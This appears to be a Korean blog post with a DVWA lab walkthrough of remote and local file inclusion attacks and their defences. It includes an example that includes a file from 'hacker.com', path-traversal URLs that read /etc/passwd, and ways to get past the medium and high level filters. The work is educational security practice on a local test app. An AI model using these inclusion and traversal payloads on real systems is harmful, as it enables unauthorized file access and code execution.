2018. 7. 20.

[DVWA] 파일 인클루전 취약점 실습 / 대응방안


정상적인 사용자가 page=file.php 를 요청하는 페이지가 있다
해커는 이를 이용하여 page=http://hacker.com/bad.php 를 요청 할 수 있다. 웹 애플리케이션이 따로 입력값을 검사하지 않으면 bad.php 가 실행되게 된다.

더 자세한 취약점 설명은 아래에서 확인 할 수 있다.
  • http://coashanee5.blogspot.com/2017/02/rfi-lfi.html 

실습 환경 : kali linux + DVWA

1) low 
 
<RFI 공격>
opt/lampp/htdocs 에 bad.php 를 생성한다.




아래와 같이 RFI 공격이 시행되었다.


 system 이라는 함수를 이용하면 패스워드 파일도 확인 할 수 있다.


<LFI 공격>
시스템에 이미 존재하는 파일만 접근 할 수 있어서 FRI 보다 파급력이 약하긴 하다.

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=/etc/passwd 를 입력하면 공격이 성공하여 파일 내용이 출력된다. 
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../..//etc/passwd 이것도 가능하다.


2) Medium

미디엄 단계에서는 공격이 성공하지 않고 에러가 발생하는 것을 확인 할 수 있다.


다음과 같은 필터링이 구현되어 있다. http://를 지워버리는 함수이다. 그런데 만약 htthttp://p:// 이렇게 입력하면 http:// 는 지워지고 http://가 생기는 것이다.






3) HIGH

HIGH 버전에서는 이전 공격은 유효하지 않는다. 
소스코드를 보면 파일이름이 file로 시작하지 않거나, include.php 가 아니면 에러를 발생시키게 된다. 


이를 우회하기 위해 file을 먼저 입력하고 진행하면 공격이 수행된다.
  • http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file/../../../../../../../../../etc/passwd
RFI 의 경우인 경우에는 항상 http:// 를 입력해야 하기 때문에 이 경우에는 공격 수행이 불가능하다. 

4) impossible 

입력받는 파일명 만을 직접 지정하여 입력받는 경우는 다른 값을 입력 하게 되면 에러페이지가 출력된다. 



Popular Posts

Recent Posts

Blog Archive

Powered by Blogger.